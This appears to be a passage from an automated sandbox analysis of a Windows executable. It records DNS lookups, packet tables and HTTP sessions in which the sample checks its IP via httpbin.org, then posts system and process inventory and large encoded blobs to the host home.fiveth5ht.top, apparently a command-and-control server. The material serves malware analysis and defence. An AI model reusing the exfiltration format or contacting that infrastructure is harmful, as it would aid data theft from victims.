                                                          Dec 28, 2024 09:50:21.868392944 CET4973280192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:21.868402958 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868417978 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868446112 CET4973280192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:21.868469000 CET4973280192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:21.868518114 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868546009 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868561029 CET4973280192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:21.868663073 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868676901 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868702888 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868731976 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868789911 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868846893 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868885994 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.868921041 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869003057 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869033098 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869147062 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869160891 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869189024 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869211912 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869224072 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869237900 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869323015 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869338036 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869446039 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869466066 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869530916 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869544983 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869566917 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869616032 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869699001 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869713068 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869781017 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869803905 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.869852066 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.912008047 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.930598974 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.930629969 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.930696964 CET4973280192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:21.931013107 CET4973280192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:21.943696022 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.943798065 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.985569954 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.985590935 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.985608101 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.985621929 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.985646009 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.985660076 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.985671997 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.986618042 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.986664057 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.986699104 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.986736059 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.986833096 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.986845970 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.986869097 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.986891985 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.986943960 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987056971 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987073898 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987133980 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987241983 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987257004 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987281084 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987303972 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987376928 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987390995 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987412930 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987426043 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987447977 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987524986 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987540007 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987618923 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987632990 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987689018 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987785101 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987798929 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987812996 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987850904 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987888098 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.987993956 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988008976 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988044977 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988058090 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988126993 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988152027 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988213062 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988253117 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988347054 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988359928 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988400936 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988475084 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988573074 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988632917 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988648891 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988671064 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988755941 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988770008 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988806009 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988827944 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.988964081 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.989006042 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:21.989084005 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:22.050457954 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:22.050482035 CET804973281.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:22.662688017 CET4973380192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:22.782315016 CET804973381.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:22.782457113 CET4973380192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:22.783092022 CET4973380192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:22.902503967 CET804973381.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:24.117358923 CET804973381.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:24.117470026 CET804973381.29.149.125192.168.2.4
                                                          Dec 28, 2024 09:50:24.117516041 CET4973380192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:24.117742062 CET4973380192.168.2.481.29.149.125
                                                          Dec 28, 2024 09:50:24.237137079 CET804973381.29.149.125192.168.2.4

                                                          UDP Packets

                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Dec 28, 2024 09:50:15.545314074 CET5615553192.168.2.41.1.1.1
                                                          Dec 28, 2024 09:50:15.545418024 CET5615553192.168.2.41.1.1.1
                                                          Dec 28, 2024 09:50:15.689655066 CET53561551.1.1.1192.168.2.4
                                                          Dec 28, 2024 09:50:15.837260008 CET53561551.1.1.1192.168.2.4
                                                          Dec 28, 2024 09:50:20.031876087 CET5615853192.168.2.41.1.1.1
                                                          Dec 28, 2024 09:50:20.031939030 CET5615853192.168.2.41.1.1.1
                                                          Dec 28, 2024 09:50:20.173841000 CET53561581.1.1.1192.168.2.4
                                                          Dec 28, 2024 09:50:20.448447943 CET53561581.1.1.1192.168.2.4
                                                          Dec 28, 2024 09:50:22.521033049 CET5616053192.168.2.41.1.1.1
                                                          Dec 28, 2024 09:50:22.521166086 CET5616053192.168.2.41.1.1.1
                                                          Dec 28, 2024 09:50:22.661303043 CET53561601.1.1.1192.168.2.4
                                                          Dec 28, 2024 09:50:22.661741018 CET53561601.1.1.1192.168.2.4

                                                          DNS Queries

                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                          Dec 28, 2024 09:50:15.545314074 CET192.168.2.41.1.1.10xc74cStandard query (0)httpbin.orgA (IP address)IN (0x0001)false
                                                          Dec 28, 2024 09:50:15.545418024 CET192.168.2.41.1.1.10x5f60Standard query (0)httpbin.org28IN (0x0001)false
                                                          Dec 28, 2024 09:50:20.031876087 CET192.168.2.41.1.1.10xea1eStandard query (0)home.fiveth5ht.topA (IP address)IN (0x0001)false
                                                          Dec 28, 2024 09:50:20.031939030 CET192.168.2.41.1.1.10xaeb4Standard query (0)home.fiveth5ht.top28IN (0x0001)false
                                                          Dec 28, 2024 09:50:22.521033049 CET192.168.2.41.1.1.10x2abStandard query (0)home.fiveth5ht.topA (IP address)IN (0x0001)false
                                                          Dec 28, 2024 09:50:22.521166086 CET192.168.2.41.1.1.10x6982Standard query (0)home.fiveth5ht.top28IN (0x0001)false

                                                          DNS Answers

                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                          Dec 28, 2024 09:50:15.837260008 CET1.1.1.1192.168.2.40xc74cNo error (0)httpbin.org3.218.7.103A (IP address)IN (0x0001)false
                                                          Dec 28, 2024 09:50:15.837260008 CET1.1.1.1192.168.2.40xc74cNo error (0)httpbin.org34.226.108.155A (IP address)IN (0x0001)false
                                                          Dec 28, 2024 09:50:20.173841000 CET1.1.1.1192.168.2.40xea1eNo error (0)home.fiveth5ht.top81.29.149.125A (IP address)IN (0x0001)false
                                                          Dec 28, 2024 09:50:22.661303043 CET1.1.1.1192.168.2.40x2abNo error (0)home.fiveth5ht.top81.29.149.125A (IP address)IN (0x0001)false

                                                          HTTP Request Dependency Graph

                                                          • httpbin.org
                                                          • home.fiveth5ht.top

                                                          HTTP Packets

                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          0192.168.2.44973281.29.149.125806172C:\Users\user\Desktop\e62iSl0abZ.exe
                                                          TimestampBytes transferredDirectionData
                                                          Dec 28, 2024 09:50:20.570676088 CET12360OUTPOST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1
                                                          Host: home.fiveth5ht.top
                                                          Accept: */*
                                                          Content-Type: application/json
                                                          Content-Length: 443985
                                                          Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 37 32 30 34 34 32 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 [TRUNCATED]
                                                          Data Ascii: { "ip": "8.46.123.189", "current_time": "8532915458317204425", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe" [TRUNCATED]
                                                          Dec 28, 2024 09:50:20.690289021 CET2472OUTData Raw: 44 41 6f 6f 6f 6f 4e 4b 66 58 35 66 71 51 76 48 79 48 39 5c 2f 77 44 50 36 5c 2f 35 39 47 31 59 72 39 36 66 2b 43 57 6e 37 46 33 37 4e 50 37 52 33 37 50 76 69 37 78 76 38 5a 76 68 74 5c 2f 77 41 4a 6c 34 6d 30 72 34 77 65 49 50 43 65 6e 36 6a 5c
                                                          Data Ascii: DAooooNKfX5fqQvHyH9\/wDP6\/59G1Yr96f+CWn7F37NP7R37Pvi7xv8Zvht\/wAJl4m0r4weIPCen6j\/AMJf488Oi30Cx8GeAdZtrI2fhTxRoVjOyajr2qTm7ubaa9ZZ0ga4Nvb28UX5J4y+LeXeDXC+B4nzPKMbnNDH59hchp4XAVqFCrCtisvzTMVXnUxF4eyhTyurBxinNzqU7WipNfuXgJ4JZt498YZjwflGeZfkOIyz
                                                          Dec 28, 2024 09:50:20.690382004 CET4944OUTData Raw: 48 7a 35 2b 61 66 38 41 4a 77 5c 2f 2b 6f 66 72 4c 7a 6a 31 5c 2f 7a 78 52 35 62 79 66 36 35 2b 49 2b 4f 50 38 41 50 54 30 5c 2f 7a 69 76 5a 65 55 66 75 5c 2f 77 43 41 61 6b 4f 34 78 72 4e 73 2b 5c 2f 38 41 31 5c 2f 7a 39 44 54 50 4d 2b 58 35 30
                                                          Data Ascii: Hz5+af8AJw\/+ofrLzj1\/zxR5byf65+I+OP8APT0\/zivZeUfu\/wCAakO4xrNs+\/8A1\/z9DTPM+X50+fzfK+zyS\/p+tP5\/1h7fxxj\/AF3+f6USN9xP9HRPN83zJJeg\/wA\/jXKaw2+f6IYzfwfu0m\/55x\/59T3\/AKVDJ\/y2H7tP3vf9\/wCT\/wCSP\/18dfWn+b\/wP\/pp5nX+fX6HOKGjRvv\/AHPX\/Pfj\
                                                          Dec 28, 2024 09:50:20.690409899 CET4944OUTData Raw: 2f 41 49 51 2b 31 30 72 56 35 4e 4e 5c 2f 74 4b 50 53 4a 64 65 5c 2f 34 53 55 32 79 4a 5a 5c 2f 38 49 33 5c 2f 41 47 57 5a 31 62 57 46 6a 6c 5c 2f 69 54 42 35 6c 6a 59 59 36 64 44 47 59 6d 4e 61 46 4b 6a 4b 56 57 4b 68 68 71 53 6a 56 53 67 35 51
                                                          Data Ascii: /AIQ+10rV5NN\/tKPSJde\/4SU2yJZ\/8I3\/AGWZ1bWFjl\/iTB5ljYY6dDGYmNaFKjKVWKhhqSjVSg5Q9pJUY3pybhJyqRi5J76N\/wB6cH+KPHWXcdZhkfGHEdLiLB5LkeMxWbYLC4ThTJoUM1w9DDTxGBhmmN\/sHAxq5biatTB16+LzTB4KdelWipyiqUp\/0TWPwc+Nfhqw8V+FvCPxR+DL+AvEvjH4o+KxoHj\/APZ98
                                                          Dec 28, 2024 09:50:20.690473080 CET2472OUTData Raw: 54 39 6b 5c 2f 52 4e 50 38 56 65 49 5c 2f 69 48 38 4f 39 65 52 6a 6f 5c 2f 6a 76 34 61 61 31 70 4e 30 4f 50 4d 38 78 62 33 54 55 6a 6b 67 4f 56 4b 7a 32 31 76 64 58 6c 33 41 36 73 44 48 4e 62 6f 34 77 56 44 4c 30 50 77 31 73 50 6a 31 2b 79 50 38
                                                          Data Ascii: T9k\/RNP8VeI\/iH8O9eRjo\/jv4aa1pN0OPM8xb3TUjkgOVKz21vdXl3A6sDHNbo4wVDL0Pw1sPj1+yP8ACf41L4i+Guh+JdO0vUPD8\/hnULDUYbnR9UsNTfxRba\/4m12ztL6W+urHSoofDttd2cunaLqz6fcW8d7dnTrJbqw4b9mzxdpvhP4x+FdS16+t9M0WddW07U9QlZFjtob3SL6O3dzJNBHt\/tBbIMJJDlc7FaXyx
                                                          Dec 28, 2024 09:50:20.690521002 CET2472OUTData Raw: 77 43 55 33 30 35 50 43 62 69 65 6e 78 68 54 38 58 71 4f 4f 79 4a 5a 42 6d 73 63 69 34 51 77 32 44 6e 58 78 5c 2f 38 41 62 64 44 4e 4b 65 56 35 76 69 70 59 6d 65 48 5c 2f 41 4c 4e 65 41 57 44 39 68 6c 39 62 32 64 65 4f 59 7a 78 45 61 30 36 61 2b
                                                          Data Ascii: wCU305PCbienxhT8XqOOyJZBmsci4Qw2DnXx\/8AbdDNKeV5vipYmeH\/ALNeAWD9hl9b2deOYzxEa06a+qJXqx\/vL6G0s44rzXFcGcI1MFgOKclyTPuJo5lnUZxy3D4GrjMryWdXAVsLSx2JhnNGrnlGphJVMAqNBU6mJhiI4ilQjL8f\/wBtL9sn4Pftk\/Az9nXXPFPhvx\/pn7anwr8Nw\/Dn4neOl0bw3J8Ovir4G0x79
                                                          Dec 28, 2024 09:50:20.690579891 CET2472OUTData Raw: 66 66 51 66 50 33 48 6d 53 5c 2f 75 4f 50 38 39 5c 2f 36 56 41 32 7a 7a 50 6e 53 56 5c 2f 33 51 38 33 5c 2f 36 5c 2f 4a 78 5c 2f 51 31 70 37 50 7a 5c 2f 44 5c 2f 67 6e 51 4d 6b 38 6e 2b 42 4e 5c 2f 6c 5c 2f 35 39 76 54 2b 66 70 55 4d 6d 78 74 37
                                                          Data Ascii: ffQfP3HmS\/uOP89\/6VA2zzPnSV\/3Q83\/6\/Jx\/Q1p7Pz\/D\/gnQMk8n+BN\/l\/59vT+fpUMmxt7\/AHPMlOJOn5f5Oam2ptT5ZHfPWP8Azx\/9amddnyfJ5v7qP1\/D8PT9Kw5F5\/18jSn1+X6lOTzl+5MU8v8A56xf676f5+mahb5PuIWf\/pp2+v8AkdMVf\/eR7N52P5Xr\/n\/OKhkhTa\/yb+P9X535n8O3HpU
                                                          Dec 28, 2024 09:50:20.690618038 CET2472OUTData Raw: 41 62 2b 49 64 37 38 47 76 69 33 34 63 2b 43 48 78 70 30 6e 34 62 36 31 38 53 58 31 6a 34 54 5c 2f 45 4c 78 66 70 33 69 76 55 76 43 32 6d 2b 4b 62 62 34 6c 5c 2f 43 62 34 59 32 57 71 61 66 72 69 65 42 76 46 64 70 61 61 37 34 46 31 4c 78 6a 6f 6b
                                                          Data Ascii: Ab+Id78Gvi34c+CHxp0n4b618SX1j4T\/ELxfp3ivUvC2m+Kbb4l\/Cb4Y2WqafrieBvFdpaa74F1LxjokWo6NNZXt\/avdac178Rn\/HHCfC2YZTlfEGeYPKsfnspRyrD4r2qeL5cZl+XOSqQpTpUYf2hmuWYFVMRUpU5YvH4PDxk6uIpQl\/mJwz4b8d8ZZVned8L8N47Ocr4cpyq5zi8J7FxwUYYLF5jNOnUrU61epDL8vx2
                                                          Dec 28, 2024 09:50:20.690648079 CET2472OUTData Raw: 34 65 79 4c 4b 4b 76 48 75 44 34 50 79 4c 4d 71 6d 64 63 4c 34 58 4a 73 30 77 57 61 30 36 45 73 79 6a 68 71 4f 4a 70 5a 5a 54 79 33 48 59 37 45 59 5c 2f 49 73 52 4f 76 67 38 54 69 63 70 6a 44 47 5a 4c 68 38 54 58 68 6a 70 59 57 68 57 78 6c 61 74
                                                          Data Ascii: 4eyLKKvHuD4PyLMqmdcL4XJs0wWa06EsyjhqOJpZZTy3HY7EY\/IsROvg8TicpjDGZLh8TXhjpYWhWxlatiP29+IH\/AAVj0rxt+zv8RPDXhTw94y+FXx11KXwpqXhTWBf6X478LJfaV4n8ISasseq6zaR6lbi48P6RqTw2et6DrEQkmktn1eRmtyPizxL\/AMFI\/wBqPxl8NPGXwq8Za74Q8R+HfHfhvUvDWu3U3gnRtH1j7L
                                                          Dec 28, 2024 09:50:20.810240984 CET2472OUTData Raw: 36 78 71 57 6a 36 6e 6f 58 78 65 5c 2f 61 45 38 56 65 4d 5c 2f 42 76 67 5c 2f 54 62 36 50 53 66 44 6e 69 47 4d 61 62 70 47 75 65 42 4e 65 68 38 55 33 4b 53 47 39 74 49 6b 74 35 4e 48 30 33 58 58 6b 6b 69 68 2b 76 34 49 34 4d 2b 69 35 34 65 38 52
                                                          Data Ascii: 6xqWj6noXxe\/aE8VeM\/Bvg\/Tb6PSfDniGMabpGueBNeh8U3KSG9tIkt5NH03XXkkih+v4I4M+i54e8R4DjPIOLfq+cZLSlVw39pZ3jJ+yjnuKxPBV6mXV8LRrTqSzHMJ5TOjOn7TCYzE4b6xTpOth5T+G8R+O\/pmeJ\/CeY8AcVcFfWMg4kqU6eJeVcOZfSWJfD0sLxfF0M2w+Nr4aFKFPKo42NanW9njKODxtDD1K0sPi6
                                                          Dec 28, 2024 09:50:20.810291052 CET7416OUTData Raw: 72 7a 66 2b 6d 38 50 36 64 65 61 5a 4a 5c 2f 66 6b 53 4e 45 7a 5c 2f 77 41 74 50 79 50 74 39 4d 5c 2f 68 37 64 42 70 54 36 5c 2f 4c 39 52 6a 37 50 6e 51 70 76 78 4c 2b 36 6a 5c 2f 39 4b 5c 2f 38 41 50 72 78 37 56 57 2b 66 50 2b 78 5c 2f 31 31 39
                                                          Data Ascii: rzf+m8P6deaZJ\/fkSNEz\/wAtPyPt9M\/h7dBpT6\/L9Rj7PnQpvxL+6j\/9K\/8APrx7VW+fP+x\/119+v+frjtVmTztvkzYT96D+7\/cX3\/X16Y\/DsKZ\/eCe\/2WT+mP8APag0IfuyJ8mz\/wBqj\/P+TmmSRvtRX+z\/AF8v9fX8afJmSPe7\/wCsl\/8AJj\/p79v\/AK1Kv+r2J5n7yX95\/n29vrXOdBVff5b7E3\
                                                          Dec 28, 2024 09:50:21.930598974 CET212INHTTP/1.0 503 Service Unavailable
                                                          Cache-Control: no-cache
                                                          Connection: close
                                                          Content-Type: text/html
                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 0a 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <html><body><h1>503 Service Unavailable</h1>No server is available to handle this request.</body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          1192.168.2.44973381.29.149.125806172C:\Users\user\Desktop\e62iSl0abZ.exe
                                                          TimestampBytes transferredDirectionData
                                                          Dec 28, 2024 09:50:22.783092022 CET284OUTPOST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1
                                                          Host: home.fiveth5ht.top
                                                          Accept: */*
                                                          Content-Type: application/json
                                                          Content-Length: 143
                                                          Data Raw: 7b 20 22 69 64 31 22 3a 20 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 5c 2f 68 31 3e 5c 6e 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 5c 6e 3c 5c 2f 62 6f 64 79 3e 3c 5c 2f 68 74 6d 6c 3e 5c 6e 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d
                                                          Data Ascii: { "id1": "<html><body><h1>503 Service Unavailable<\/h1>\nNo server is available to handle this request.\n<\/body><\/html>\n", "data": "Done1" }
                                                          Dec 28, 2024 09:50:24.117358923 CET212INHTTP/1.0 503 Service Unavailable
                                                          Cache-Control: no-cache
                                                          Connection: close
                                                          Content-Type: text/html
                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 0a 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <html><body><h1>503 Service Unavailable</h1>No server is available to handle this request.</body></html>


                                                          HTTPS Proxied Packets

                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          0192.168.2.4497313.218.7.1034436172C:\Users\user\Desktop\e62iSl0abZ.exe
                                                          TimestampBytes transferredDirectionData
                                                          2024-12-28 08:50:17 UTC52OUTGET /ip HTTP/1.1
                                                          Host: httpbin.org
                                                          Accept: */*
                                                          2024-12-28 08:50:17 UTC224INHTTP/1.1 200 OK
                                                          Date: Sat, 28 Dec 2024 08:50:17 GMT
                                                          Content-Type: application/json
                                                          Content-Length: 31
                                                          Connection: close
                                                          Server: gunicorn/19.9.0
                                                          Access-Control-Allow-Origin: *
                                                          Access-Control-Allow-Credentials: true
                                                          2024-12-28 08:50:17 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                                          Data Ascii: { "origin": "8.46.123.189"}


                                                          Statistics

                                                          CPU Usage

                                                          Click to jump to process

                                                          Memory Usage

                                                          Click to jump to process

                                                          High Level Behavior Distribution

                                                          Click to dive into process behavior distribution

                                                          System Behavior

                                                          General

                                                          Target ID:0
                                                          Start time:03:50:13
                                                          Start date:28/12/2024
                                                          Path:C:\Users\user\Desktop\e62iSl0abZ.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\user\Desktop\e62iSl0abZ.exe"
                                                          Imagebase:0x610000
                                                          File size:4'467'712 bytes
